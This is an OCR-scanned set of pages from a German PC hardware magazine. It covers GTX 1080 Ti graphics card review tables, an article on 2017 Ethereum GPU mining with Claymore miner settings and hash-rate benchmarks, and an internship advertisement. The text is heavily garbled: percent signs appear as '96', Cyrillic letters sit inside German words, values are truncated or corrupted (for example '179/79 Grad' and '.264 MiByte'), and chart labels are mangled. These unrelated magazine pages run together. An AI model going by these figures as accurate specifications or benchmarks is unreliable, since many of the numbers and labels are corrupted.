3D-Basis-/Boost-Takt GPU/RAM (Übertaktung) 
Ausstattung (20 %) 
Speichermenge/Anbindung 


1.480 (Boost: 1.734+)/1.377 MHz (+12/0 % OC) 
2,35 
11.264 MiByte (352 Bit) 


1.531 (Boost: 1.709+)/1.377 MHz (+10/0 96 ОС) 
2,29 
11.264 MiByte (352 Bit) 


1.531 (Boost: 1.797+)/1.377 MHz (+16/0 % ОС) 
2,32 
.264 MiByte (352 Bit) 


Speicherart/Hersteller 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 
Monitoranschlüsse 3 x Displayport (1.4-ready), 1 x HDMI 2.0b 3 x Displayport (1.4-ready), 1 x HDMI 2.0b 2 x Displayport (1.4-ready), 2 x HDMI 2.0b, 1 x DVI-D 
Kühlung Komplett-Wakü (u. а. EK-FC Titan X Acetal-Nickel, EK-Xress 100 | Eigendesign, Dual-Slot, 5 Heatp. (4 x 8, 1 x 6 mm), 2 x 90 Armor 2X, Dual-Slot, 4 DT-Heatpipes à 6 mm, 2 x 95 mm axial, 

SPC-50, Magicool Copper Il, 2 x Scythe Slip Stream 120 mm)  |mm axial, Radi bedeckt RAM und VRMs; Backplate inkl. Pads |große, aber flache Kühlplatte für RAM und VRMs 
Software/Tools/Spiele - Treiber Afterburner (Tweak-Tool), Treiber 


Handbuch; Garantie 


Gedruckt (deutsch); 2 Jahre 


Faltblatt (englisch); 2 Jahre 


s Comic (englisch); 3 Jahre 


Kabel/Adapter/Beigaben 


2 x enthalten: 2x6-auf-8-Pol-Strom; HDMI-DVI-Adapter 


1 x Strom: 6-auf-8-Pol; Aufkleber 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Nvidia-Referenzplatine, TDP: 250 Watt; Lüfter- & Pumpensteue- 
rung im Test via Mainboard (Silent-Profil) 


2,02 
25/47/47 Grad Celsius 


Referenzplatine mit 7 Phasen à 2 Mosfets (GPU), 2 für (RAM); 
TDP: 250 Watt; Lüfter drehen ab —52 °C; bootet aktiv 


2,18 
40/76/76 Grad Celsius 


Gleiches PCB wie Gaming X (8+2 VRMs); Lüfter drehen ab -60 
°C an; ТОР: 280 Watt; keine Zusatzmodi via Gaming App 


2,38 
179/79 Grad Celsius 


> 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,2/0,5/0,6 Sone (max. Drehzahl: 2,5 Sone) 


0,0 (passiv)/1,4 (51 %)/1,5 (53 96) Sone 


0,0 (passiv)/4,0 (82 %)/4,0 (82 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


12/18/15 Watt (zuzüglich Pumpe und Lüfter) 


13/17/14 Watt 


14/18/15 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


249/250/250 Watt (zuzüglich Pumpe und Lüfter) 


251/253/254 Watt (Powertarget: 100 Prozent) 


264/282/283 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) 


2.025 MHz mit 100 96 Power/Voltage (+17 %) 


-1.950 MHz mit 100 96 Power/Voltage/Fan (+14 96) 


2.025 MHz mit 100 % Power/Voltage/Fan (+13 %) 


Maximale RAM-Übertaktung (UHD-stabil) 


6.200 MHz mit 100 % Power/Voltage (+13 %) 


5.800 MHz mit 100 % Power/Voltage/Fan (+5 96) 


5.900 MHz mit 100 % Power/Voltage/Fan (+7 %) 


Spannungs-/Power-Änderung in Tools möglich? 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) 


Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) 


Ja (GPU bis 100 %; Powerlimit bis 117 % (= 330W) 


Länge/Breite/Höhe der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


26,7 (PCB: 26,7x10,0)/1,8 cm; 1 x 8-/1 x 6-Pol (vertikal) 
1,20 


© Kompletter Wakü-Kreislauf 
© Traumhafte Temperaturen, Lautheit & OC-Potenzial 
© Hoher Preis 


27,8 (РСВ: 26,7x10,0)/3,4 cm; 1 x 8-/1 x 6-Pol (vertikal) 
1,21 


© Leiseste luftgekühlte GTX 1080 Ti 
© Kühler ist ein perfekter Dual-Slot-Kompromiss 
© Kein DVI-Ausgang 


27,8 (PCB: 27,8x12,8)/3,5 cm; 2 x 8-Pol (vertikal) 
1,15 


© Hohes Powerlimit erlaubt hohen Boost 
© 3 Jahre Garantie 
© Lautstärke unter Volllast 


GRAFIKKARTEN 


Produktname 
Hersteller/Webseite 


GTX 1080 Ti Super Jetstream 


Palit (www.palit.biz) 


GTX 1080 Ti SC2 
EVGA (de.evga.com) 


— 


Lg» 


СИ" 


GTX 1080 Ti Twin Х2 
Inno 3D (Bezugsquelle: Caseking.de) 


Speichermenge/Anbindung 


11.264 MiByte (352 Bit) 


Ca.-Preis/Preis-Leistungs-Verhältnis Ca. € 750,-/ausreichend Ca. € 800,-/mangelhaft Ca. € 720,-/ausreichend 
www.pcgh.de/preis/1599327 www.pcgh.de/preis/1595663 www.pcgh.de/preis/1591591 

2D-Takt GPU/RAM (Spannung) 215/405 MHz (0,650 VGPU) 215/405 MHz (0,650 VGPU) 139/405 MHz (0,650 VGPU) 
3D-Basis-/Boost-Takt GPU/RAM (Übertaktung) 1.557 (Boost: 1.709+)/1.377 MHz («11/0 96 OC) 1.557 (Boost: 1.747+)/1.377 MHz (+13/0 96 OC) 1.481 (Boost: 1.671+)/1.377 MHz (+8/0 % OC) 
Ausstattung (20 %) 2,33 2,20 2,33 


11.264 MiByte (352 Bit) 


11.264 MiByte (352 Bit) 


Speicherart/Hersteller 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 11-Gbps-GDDR5X (Micron MT58K256M321-JA110) 
Monitoranschlüsse 3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 3 x Displayport (1.4-ready), 1 x HDMI 2.0b, 1 x DVI-D 
Kühlung Jetstream, Triple-Slot, 6 Heatp. (5 x 8, 1 x 6 mm), 2 x 95 mm | Eigendesign, Dual-Slot, 6 Heatpipes à 6 mm, 2 x 90 mm axial, | Eigendesign, Dual-Slot, 4 Heatpipes à 6 mm, 2 x 85 mm axial, 
axial, Radi bedeckt RAM und VRMs; Backplate inkl. Pads Sandwich-Design inkl. Backplate mit zahlreichen Wärmeleitpads | Kühlplatte für RAM und VRMs; Backplate (ohne Wármeleitpads) 
Software/Tools/Spiele Thunder Master (Tweak-Tool), Treiber Precision ХОС (Tweak-Tool), Treiber Codes für VR Mark & 3D Mark Advanced; Treiber 


Handbuch; Garantie 


Faltblatt (deutsch); 2 Jahre 


Gedruckt (deutsch); 3 Jahre + Option auf mehr 


Faltblatt (englisch); 2 Jahre 


Kabel/Adapter/Beigaben 


2x6-auf-8-Pol-Strom; Aufkleber (Jetstream-Logo) 


Strom: 2x6-auf-8-Pol + 2xMolex-auf-6-Pol; Poster, div. Aufkleber 


Mauspad (Stoffmatte) 


Sonstiges 


Eigenschaften (20 %) 
Temperatur GPU (2D-Leerlauf/Spiel/Extremfall) 


Custom-PCB mit 12 cm Breite & Dual-BIOS-Schalter; ausgele- 
sene TDP: 250 Watt; Lüfter drehen ab -63 °C 


222 
47/72/72 Grad Celsius 


Custom-PCB; TDP: 250 Watt; GPU-Fan dreht ab -55 °C, Power-Fan 
ab -55 °C VRM-Temp; Lüfter vollständig getrennt regelbar 


2,38 
47/72/72 Grad Celsius 


Referenzplatine mit 7 Phasen à 2 Mosfets (GPU), 2 Phasen für 
(RAM); ТОР: 250 Watt; Lüfter drehen ab -56 °C 


2,29 
42/83/83 Grad Celsius 


Lautheit (+PWM) aus 50 cm (2D/Spiel/Extremfall) 


0,0 (passiv)/1,9 (54 %)/1,9 (54 %) Sone 


0,0 (passiv)/3,4 (51 %)/4,4 (48 % - siehe Text!) Sone 


0,0 (passiv)/2,7 (92 %)/2,7 (92 %) Sone 


Spulenpfeifen/-zirpen (unter Last) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Normal (leises Zirpen in Spielen; Fiepen ab dreistelligen Fps) 


Gemessener Verbrauch 2D/UHD-Video/2 LCDs 


16/24/19 Watt 


14/19/16 Watt 


15/21/18 Watt 


Verbrauch Crysis 3/Anno 2070/Extremfall 


251/252/255 Watt (Powertarget: 100 Prozent) 


250/251/255 Watt (Powertarget: 100 Prozent) 


255/255/255 Watt (Powertarget: 100 Prozent) 


Maximale GPU-Übertaktung (UHD-stabil) -1.950 MHz mit 100 96 Power/Voltage/Fan (+11 96) -1.950 MHz mit 100 % Power/Voltage/Fan (+12 96) -1.900 MHz mit 100 % Power/Voltage/Fan (+14 %) 
Maximale RAM-Übertaktung (UHD-stabil) 6.100 MHz mit 100 % Power/Voltage/Fan (+11 96) 6.000 MHz mit 100 96 Power/Voltage/Fan (+9 96) 5.800 MHz mit 100 % Power/Voltage/Fan (+5 %) 
Spannungs-/Power-Änderung in Tools möglich? Ja (GPU bis 100 %; Powerlimit bis 140 % (= 350W) Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) Ja (GPU bis 100 %; Powerlimit bis 120 % (= 300W) 


Länge/Breite/Höhe der Karte; Stromstecker 
Leistung im PCGH-Index (60 %) 


28,5 (PCB: 26,7x12,0)/5,3 cm; 2 x 8-Pol (vertikal) 
1,21 


© Leise, kühl, Dual-BIOS 
© Hohes maximales Powerlimit (350W) 
© Großer Platzbedarf im Gehäuse 


enn 


27,0 (PCB: 26,8x10,0)/3,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 
1,20 


© Monitoring-Funktionen 
Q 3 Jahre Garantie + Option auf mehr 
© Relativ laut 


26,9 (РСВ: 26,7x10,0)/3,5 cm; 1 x 8-/1 x 6-Pol (vertikal) 
1,24 


© Relativ preiswert 
© Beigaben 
© Schwacher Kühler 
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Bild: Ethereum.org 


Bild: www.finanzen.net 


GRAFIKKARTEN | (Ethereum-)Mining-Boom 


HOMESTEAD 


athereum.org 


Goldgrube Grafikkarte 


Mitte Juni erreichte der Boom um Kryptowährungen wie Bitcoin und Ethereum seinen vorläufigen 


Höhepunkt, mit der Folge, dass in den Regalen der Grafikkartenhändler gähnende Leere herrscht. 


ktuelle Grafikkarten, speziell 
Ass AMDs Polaris- und Nvidias 
Pascal-GPUs, lassen sich vorzüglich 
zum Erschaffen von Kryptowäh- 
rungen, dem sogenannten „Mining“ 
(engl: ,Schürfen^), zweckentfrem- 
den. Die Shader-Kerne errechnen 
dabei Prüfsummen für die Trans- 
aktionskette der jeweiligen Wih- 


rung - alternativ kónnen Sie die 
Währungen über elektronische Bör- 
sen wie bitcoin.de oder kraken.com 
direkt einkaufen. Wir erläutern am 
Beispiel der Kryptowährung Ethe- 
reum (ETH), wie der Prozess grob 
vonstattengeht. Beachten Sie bitte 
unbedingt den folgenden Absatz 
und prüfen Sie unabhängig von den 


ETHEREUM - EURO (ETH-EUR) CHART - 1 JAHR 


Intraday 1\Woche 1 Men 6Mon R: 5 Jahre 


Max 


«3293,85 


«3000 


an Feb 


Im Zuge des „Goldrausches” für Kryptowährungen zog Ethereum seit Februar 2017 na- 
hezu kontinuerlich an und erreichte zeitweise Tagesschlusskurse von knapp 350 Euro. 
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in diesem Artikel genutzten Diens- 
ten, ob deren Sicherheitsvorkehrun- 
gen Ihren Ansprüchen genügen. 


Beim Geld hört die 
Freundschaft auf! 

Ein Wort der Warnung vorab: Bei 
Mining" wird an Online-Börsen 
handelbare Währung erzeugt, 
sprich, es geht zwar um virtuelles 
Geld, aber um ganz reale Werte. 
Seien Sie sich dessen bewusst, denn 
Geld setzt nicht nur bei unbekann- 
ten Dritten eine Menge kriminelle 
Energie frei. Achten Sie daher be- 
sonders auf Passwörter und Sicher- 
heit des Rechners. Auch sollten Sie 
nicht vergessen, etwaige erzielte Ge- 
winne beim Finanzamt anzugeben. 


Mining: Das brauchen Sie 

Prinzipiell eignet sich jeder han- 
delsübliche, mit dem Internet ver- 
bundene PC mit Windows 7 und hö- 
her sowie neueren Linux-Varianten 
zum Mining. Nötig ist ferner ein 
Mining-Client, also ein Programm, 
welches die Datenpakete herunter- 


lädt, an die GPU(s) schickt und die 
Ergebnisse wieder an den Server 
schickt. Auf der CPU ist Mining auf- 
grund der Komplexität der Blöcke 
jedoch reichlich witzlos, sodass Sie 
tunlichst Ihre Grafikkarte einspan- 
nen sollten. Prinzipiell sind Open- 
CL- respektive CUDA-fähige Karten 
prädestiniert für diese Aufgabe, 
jedoch gibt es einige Einschränkun- 
gen. So lohnt sich das Mining finan- 
ziell nur, wenn die zu erwartenden 
Erträge die Investitionen überstei- 
gen - denn im Gegensatz zu quasi 
gemeinnützigen Projekten wie Fol- 
ding@Home ist Krypto-Mining rein 
auf den Profit ausgerichtet. 


Die beste Treiber- und Hardware- 
Unterstützung in der von uns aus- 
probierten, weil auf den meisten 
aktuellen Spiele-PCs vorhandenen, 
Windows-10-Umgebung, bieten 
AMDs Radeon RX 400/500-Reihe so- 
wie Nvidias GTX-1000-Serie. Im Ide- 
alfall verfügen die Karten über 6 GiB 
oder mehr, aktuelles Minimum sind 
3 GiByte und im Benchmark (s. fol- 
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gende Seite) genügte auch der £ GiB 
große Videospeicher einer GTX 
1050 Tí nicht mehr für die Erzeu- 
gung des DAG-Buffers der Genera- 
tion 199 - doch das liegt noch in fer- 
ner Zukunft. Eine Krypto-Währung 
kann nicht in den luftleeren Raum 
hinein erzeugt werden. Sie benöti- 
gen eine elektronische Brieftasche, 
ein sogenanntes Wallet. Eine Mög- 
lichkeit ist dasjenige, welches auf 
ethereum.org selbst verlinkt ist und 
auf „Mist“ (engl.: Nebel) und „geth“ 
basiert. Nach erfolgter Installation 
legen Sie im „Main Network“ los. Ein 
existierendes Wallet-File können Sie 
dabei direkt importieren, ansonsten 
geht’s weiter mit dem Passwort. 


WICHTIG! 

Im Wallet wählen Sie ein Passwort, 
über das der private Schlüssel in 
Form eines Keyfiles erzeugt wird. 
Sowohl dieses Keyfile als auch das 
Passwort MÜSSEN Sie so gut aufbe- 
wahren wie entsprechendes Bar- 
geld - sie werden bei Transaktionen 
benötigt. Da Ethereum und Krypto- 
Währungen allgemein dezentral an- 
gelegt sind, gibt es keine Instanz, bei 
der Sie ein einmal vergessenes Pass- 
wort anfordern oder zurücksetzen 
lassen können. Verlieren Sie Keyfile 
oder Passwort, sind Ihre Krypto- 
Werte unwiederbringlich verloren! 


Haben Sie das möglichst sichere 
Passwort ausgewählt, wird daraus 
der öffentliche Key, quasi die Konto- 
nummer des Wallets erstellt, die ein 
Format wie „lIdF9ad00fb19b158B- 
D2a576CaC1042A25993bF71* hat. 
Diese brauchen Sie, um Transak- 
tionen zu empfangen, aber auch, 
um sich geschürfte Blockanteile 
(„shares“) gutschreiben zu lassen. 
Üblicherweise wird nämlich über 
sogenannte Pools geschürft, bei de- 
nen sich alle Teilnehmer die Arbeit 
teilen und entsprechend Anteile 
an den entdeckten und bestätigten 
Krypto-Blócken erhalten. Die Pools 
behalten dafür eine Gebühr ein, 
die etwa bei ethermine.org je nach 
gewünschtem Auszahlungintervall 
unterhalb von 1 ETH zwischen 0,1 
bis 2 Prozent liegt. Ab 1 ETH fällt 
hierfür keine Gebühr mehr an. 


GPU-Miner 

Zwei der verbreitetsten Mining- 
Clients stammen von ,genoil" und 
„Claymore“ und sind auf der Web- 
site ethermine.org, Betreiber eines 
Mining-Pools, samt kurzer Anlei- 
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tung zur Inbetriebnahme verlinkt. 
Wir konzentrieren uns hier auf 


ETH-Mining: Leistung pro Kilowattstunde 


Claymore, da dieser neben AMD- 
auch Nvidia-Karten unterstützende 
Miner regelmäßig aktualisiert wird. 
Er bietet darüber hinaus die Option 
des Dual-Minings, also neben ETH 
noch eine andere Krypto-Währung 
zu schürfen. 


Claymore verlangt ebenfalls einen 
Anteil: 1 Prozent der Mining-Zeit 
wird (wohl für den Programmie- 
rer, sicher lässt sich das dank der 
Anonymität der Krypto-Währungen 
jedoch nicht sagen) abgezweigt. Sie 
haben die Möglichkeit, dies über 
die config.txt, in der auch alle ande- 
ren Parameter übergeben werden, 


» Claymore's Dual ETH [...] Miner v9.5": mode 1 (nur ETH-Mining) 


Geforce GTX 1070 FE Engage 923,9 (+42 96) 
Geforce GTX 1060 6GB FE СОЗ E 876,7 (+45 %) 
Geforce GTX 1060 3GB ,Zotac" tere s 876,1 (+42 90) 
Gef. GTX 1050 Ti AGB „EVGA SC" rr ps 793,2 (+38 96) 
Geforce GTX 1080 FE ВЕБ 731,9 (+42 %) 
Nvidia Titan X (Pascal) 506 726,1 (+44 96) 
Geforce GTX 1080 Ti FE 
RX 580 8G , Powercolor RD GS" 
RX 570 4G „Sapp. Nitro+ 8G" 
RX 480 8G , Referenz" 
R9 Nano , Referenz" 
R9 380X 4G „PCS Myst” 
R9 390X „MSI Gaming X” 
R7 370 4G „MSI Gaming 4G" 
AMD Radeon HD 7970 GE „ХЕХ“ 
Geforce GTX 980 , Referenz" 


Forge 689,1 (+34 90) 
EE 614,5 (446 %) 
pego s 608,9 (+30 90) 
put ww 576,4 (+22 96) 
peni 513,0 (+12 96) 
D 440,5 (4-28 96) 
peti 416,6 (+15 96) 
ll 315,4 (+4 96) 

pau 288,2 (+27 %) 

191031 112,9 (+10 96) 


abzuschalten, indem Sie die Zeile 
„nofee“ einfügen. Doch dann läuft 


System: Intel Pentium G4400, 2х 8 GiB DDR4-2133, MSI 2170А Gaming M7; Windows 
10 x64 (1703), GF 382.53, RSCE 17.6.2 Bemerkungen: Optimierte Werte mit maximal 
stabilem Speicher-OC und Undervolting. 


TH/kWh 
Met: opt. 


» Besser 


der Miner entsprechend langsamer, 
sodass Sie dadurch nichts gewin- 
nen. An dieser Stelle noch kurz der 


moralische Einwurf: Die angespro- 
chene Anonymität bescherte Kryp- 


ETH-Mining: Grafikkartenleistung (optimiert) 


to-Währungen ein schmuddeliges 
Image, obwohl Drogen, Waffen und 
ähnliches natürlich auch mit jeder 
anderen Währung bezahlt werden 
können. Bei den Krypto-Währun- 
gen wissen Sie, wie etwa im Falle 
der Gebühr im Claymore-Miner, 
niemals sicher, wer sich hinter ei- 
ner bestimmten Wallet-Adresse ver- 
birgt. In der config.txt entfernen Sie 
die Rautenzeichen am Zeilenanfang 
und tragen den gewünschten -epool 
(wir nutzten im Test eul.ethermine. 
org:4444) und Ihren öffentlichen 
Schlüssel hinter -ewal ein, um nicht 
für Fremde zu minen; setzen Sie 


» Claymore's Dual ETH [...] Miner v9.5": mode 1 (nur ETH-Mining) 


Nvidia Titan X (Pascal) i; 35,7 (4935 90) 
Geforce GTX 1080 Ti FE ix; 33,5 («871 %) 
R9 390X „MSI Gaming X" Bet 30,2 (+775 96) 
Geforce GTX 1070 FE Hai 29,0 (+741 90) 
R9 Nano „Referenz“ M93 27,5 (+697 96) 
RX 480 8G , Referenz" Weg 26,9 (4-680 96) 
RX 580 8G „Powercolor RD GS” M57 26,8 (+677 %) 
RX 570 4G „Sapp. Nitro+ 8G" Ida] 25,2 (4-630 96) 
Geforce GTX 1080 FE 24i 24,6 (4-613 96) 
R9 380X 4G „PCS Myst” Hg 21,9 (+535 96) 
Geforce GTX 1060 6GB FE Es 20,7 (+500 96) 

Geforce GTX 1060 3GB „Zotac“ 
Gef. GTX 1050 Ti AGB „EVGA SC" 
AMD Radeon HD 7970 GE „ХЕХ“ 

R7 370 4G ,,MSI Gaming 46“ 
Geforce GTX 980 , Referenz" 


E 20,2 (4-486 %) 
ES 13,0 (+277 %) 

Heg pes 12,8 («271 96) 

ШО ШЕШН 11,3 (+228 96) 

DI 3,5 (Basis) 


-mode 1 für reines ETH-mining. 
Tipp für Geforce-Nutzer: Der Para- 
meter -ethi 2 verbessert die Effizi- 


System: Intel Pentium G4400, 2x 8 GiB DDR4-2133, MSI Z170A Gaming M7; Windows 
10 x64 (1703), GF 382.53, RSCE 17.6.2 Bemerkungen: Die Werte im Balken geben den 
Gesamtverbrauch des PCs in Watt während des Minings mit optimierten Einstellungen an. 


Watt MH/sek. 


> Besser 


ausmitteln: Unsere effizienzoptimierten Einstellungen 


Karte Tuning-Maßnahmen im MSI Afterburner für hohe Effizienz 
Geforce GTX 1070 FE -90/+550 MHz (GPU/Vidmem), 825 mVolt, +32 Watt Idle 
Geforce GTX 1080 FE -90/+ MHz (GPU/Vidmem), 825 mVolt, +31 Watt Idle 


Nvidia Titan X (Pascal) 


-90/+1000 


Hz (GPU/Vidmem), 825 mVolt, +56 Watt idle 


Geforce GTX 1080 Ti FE 


-90/+1000 


Hz (GPU/Vidmem), 825 mVolt, +56 Watt idle 


Geforce GTX 1060 6GB FE -90/+700 MHz (GPU/Vidmem), 825 mVolt, +29 Watt idle 
Geforce GTX 1060 3GB , Zotac" -90/+700 MHz (GPU/Vidmem), 825 mVolt, +29 Watt idle 
Geforce GTX 1050 Ti 4GB „EVGA SC" +0/+900 MHz (GPU/Vidmem), 825 mVolt, +26 Watt idle 
AMD Radeon RX480 , Referenz" -16/+250 MHz (GPU/Vidmem), 1000/950 mVolt 
AMD Radeon R9 380X 4G „PCS Myst" 430/125 MHz (GPU/Vidmem), 1025/900 mVolt 


AMD Radeon R9 390X „MSI Gaming X" +20/0 MHz (GPU/Vidmem), -0,1v (1109 mVolt) 
AMD Radeon RX 580 8G „Powercolor RX 580 Red Devil GS" -125/+250 MHz (GPU/Vidmem), 950/925 mVolt 
Asus RX 580 Dual 04G -60/+250 MHz (GPU/Vidmem),1000/950 mVolt 
Sapphire RX 570 Nitro+ 8G -65/4-375 MHz (GPU/Vidmem), 975/900 mVolt 

Sapphire RX 580 Nitro+ 8G -100/+250 MHz (GPU/Vidmem), 975/925 mVolt 


AMD Radeon R9 Nano , Referenz" 


-25/+50 MHz (GPU/Vidmem), 1050 mVolt 
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GRAFIKKARTEN | (Ethereum-)Mining-Boom 


Radeon-RAM in einer wichtigen Rolle 


„Claymore’s Dual ETH [...] Miner v9.5": mode 1 (nur ETH-Mining) 


Ref.-RX 480 8G (Sams. 8Gbps) 59; 26,9 (+13 96) 
Powerc. RX 580 RD GS (Sams. 8Gpbs) =G 26,8 (+12 90) 
Sapp. RX 570 Nitro-- 8G (Micron 7Gbps) El 25,2 (+7 96) 
Asus RX 580 Dual O4G (Elpida 7Gbps) [Xa 24,7 (+16 %) 
Sapp. RX 580 Nitro+ 8G (SK-Hynix 8Gbps) Eam" 22,8 (+5 96) 


System: Intel Pentium G4400, 2х 8 GiB DDR4-2133, MSI 2170А Gaming M7; Win10 x64 MH/sek. 
(1703), GF 382.53, RSCE 17.6.2 Bemerkungen: Gerade bei Radeon-Karten spielt der Ideft opt. 
verlótete RAM-Typ eine wichtige Rolle, sofern Sie nicht zig BIOSe durchprobieren wollen. > Besser 


enz und verhindert mógliche Lags 
auf dem Desktop. Bei den Radeon- 
Karten hingegen fällt so die Hash- 
rate stärker als die Stromersparnis, 
sodass die Effizienz sinkt. 


Unsere Benchmarks zeigen, dass Ra- 
deon-Karten pro Euro Anschaffungs- 
preis besonders stark abschneiden, 
während Pascal-basierte Geforces 
speziell im Effizienzbereich punk- 
ten. Maxwell-Geforces sind unter 


Windows 10 zum Minen nicht mehr 
zu empfehlen, sollen unter Win- 
dows 7 oder Linux - was wir nicht 
ausprobiert haben - aber noch gute 
Dienste leisten. Radeon-Karten wie 
die R9 290(%)/390(Х) leisten zwar 
viel, benótigen dafür aber auch (teils 
sehr) viel Strom. Ab wann sich eine 
Grafikkarte unter welchen Bedin- 
gungen amortisiert, kónnen Sie sich 
zum Beispiel unter www.nicehash. 
com/?p=calc ausrechnen lassen. (cs) 


ETH-Mining: Leistung pro Anschaffungs-Euro 


DAG-Generationen: Der Blick in die Zukunft? 


» Claymore's Dual ETH [...] Miner v9.5": mode 1 (nur ETH-Mining) 


RX 480 8G „Referenz“ wS 1223 (+13 %) 
R9 380X 4G „PCS Myst” ME 115,3 (+8 96) 
RX 570 4G „Sapp. Nitro+ 8G" ME 109,6 (+7 96) 
R9 390X „MSI Gaming X" | 107,9 (+1 96) 
Geforce GTX 1060 3GB ,Zotac" EEE 101,0 (+13 %) 
Gef. GTX 1050 Ti 4GB „EVGA SC" ВО 92,9 (+15 96) 
RX 580 8G „Powercolor RD GS" Bi 92,4 (+12 %) 
Geforce GTX 1060 6GB FE |n [s 82,8 (+14 96) 
R7 370 4G „MSI Gaming 4G" BE EX 80,7 (+11 96) 
Geforce GTX 1070 FE [seq [S 72,5 (+13 96) 
AMD Radeon R9 Nano , Referenz" HE 72,4 (+5 %) 
AMD Radeon HD 7970 GE NENT X9 71,2 (+2 %) 
Geforce GTX 1080 Ti FE Esai 49,3 (+9 96) 
Geforce GTX 1080 FE ag 49,2 (+21 %) 
Nvidia Titan X (Pascal) Ш 358 27,5 (+17 96) 
Geforce GTX 980 , Referenz" @ 9,1 (+15 96) 


Claymore 9.5: Künftige Anforderungen des Dagger-Hashimoto-Algorithmus 
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DAG-Generation 


System: Intel Pentium G4400, 2х 8 GiB DDR4-2133, MSI 2170А Gaming M7; Windows kHashes/Euro 
10 x64 (1703), GF 382.53, RSCE 17.6.2 Bemerkungen: Optimierte Werte mit maximal Wetz" opt. 
stabilem Speicher-OC und Undervolting. Die Anschaffungskosten sind ein wichtiger Faktor. > Besser 


Bemerkungen: Die DAG-Generation wird bei der derzeitigen Hashrate alle 4-5 Tage um 1 erhóht: Nummer 
140 dürfte Anfang August fällig werden. Stimmt die Benchmark-Prognose, leiden RX 480 und R9 Nano stärker 
unter den künftigen Anforderungen, 3-GiB-Karten wie die GTX 1060 3GB sind irgendwann nutzlos. 


Spezielle Hardware fürs Mining-Rig 


Auch Hardware-Hersteller sind auf den Krypto-Zug aufgesprungen und 
bieten Spezialhardware für (semi-)professionelle Miner an. 


So richtig effizient wird Mining mit angepasster Hardware. Zwar sind die Algorithmen 
etwa von Ethereum oder Zcash dazu entworfen, im Gegensatz zu Bitcoin spezialisierten 
ASICs zu trotzen, aber es gibt trotzdem Optimierungspotenzial. So sind sowohl die 
PCI-E-Anbindung als auch die CPU relativ unwichtig — es genügt ein Pentium/Celeron 
oder eine ältere AMD-CPU. Dazu eine Platine mit möglichst vielen PCI-E-Steckplätzen, 
sodass mehrere GPUs — auch Radeon und Geforce gemischt - gleichzeitig minen 
können. Asrock bietet Boards wie das „H110 Pro BTC+" mit bis zu 12 PCI-E-x 1-Steck- 
plätze sowie Riser, damit sich die vielen Grafikkarten nicht in die Quere kommen. 


Derzeit ist der Markt für RX400/500-Radeons und 1060/1070er-Geforces wie leerge- 
fegt und die allein von den Händlern an die hohe Nachfrage angepassten Preise treiben 
aufrüstwillige Spieler zur Verzweiflung. Selbst gebrauchte Modelle der Radeon RX 480, 
die vor einem Jahr für 220 Euro gekauft wurden, gehen nun für hundert oder mehr 
Euro über dem ehemaligen Neupreis auf dem Gebrauchtmarkt weg. Nvidia sagte uns 
zu dem Thema, dass man nicht wolle, dass der Mining-Boom Auswirkungen auf die 
Geforce-Verfügbarkeit habe, sodass man den Boardpartnern GPUs für Mining-Karten 
auf Basis des GP106-100 liefere, diese aber nicht selbst produziere. Solche Karten 
besitzen etwa schnelleren Speicher, verzichten jedoch auf Display-Ausgänge — und sind 
damit nach ihrer Ausmusterung für den Gamer-Gebrauchtmarkt außer als Physx-Be- 
schleuniger quasi uninteressant. Aus Kreisen der Boardpartner erfuhren wir, dass solche 
Mining-Karten für das Projektgeschäft mit Firmenkunden gedacht seien und eine 
Markteinführung in Deutschland nicht geplant sei. 
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Bild: Asrock 


WE WANT YOU! jpiaktikant/ingesucht 


a | е Bist du der geborene Teamplayer? 


@ Interessierst du dich für Event- 
management und Gaming? 


е Hast du von September bis Dezember 
Zeit (40 Stunden pro Woche)? 


Wenn du alle drei Fragen mit einem JA beantworten 
kannst, super - dann suchen wir vielleicht genau DICH! 


Willkommen bei Aruba Events. Wir sind einer der führen- 
den Eventveranstalter der deutschen Gamesbranche und 
suchen eine Verstárkung im Eventmanagement-Team. 


ouo 2 


VADIS 4c QQEGES egen 
create. game. business devcom — Lia kd 


DAS ERWARTET DICH 
BEIM PRAKTIKUM: 


Fa Aktives Mitwirken bei der 
“a $ Ë d ` "ol — Vorbereitung und Organi- 
A "EN c. sation unserer Veranstal- 
| 7 tungen mit Schwerpunkt 


CHECKLISTE FÜR 
DEINE BEWERBUNG: 


© Du bist mindestens 18 Jahre alt. 


© Du hast drei Monate vom 15. September bis 15. 
Dezember 2017 Zeit (Pflichtpraktikum bis zu sechs 


gal 

Ë Monate). 
| s р auf die Betreuung дег No- ) 

; d RW: minierten des Deutschen @ Du hast noch keine abgeschlossene Berufsausbildung 

4 <q | a : 


Entwicklerpreises 2017 oder mehrjáhrige Arbeitserfahrung 


@ Du bist an einer Universitat oder Hochschule 
eingeschrieben 


Ein tiefer Einblick in die 
Videospielbranche 


G Du besitzt Freude an der Arbeit im Team und ein hohes 
Maß an Gewissenhaftigkeit und Sorgfalt 


Ein freundliches, ent- 
spanntes Arbeitsumfeld mit 
flachen Hierarchien 


Ein hohes Maf an Selbst- 
stándigkeit und Flexibilität 


@ Du hast eine sehr selbstständige Arbeitsweise und 
ausgezeichnete kommunikative Fähigkeiten 


@ Du besitzt gute MS-Office//Google Drive-Kenntnisse 


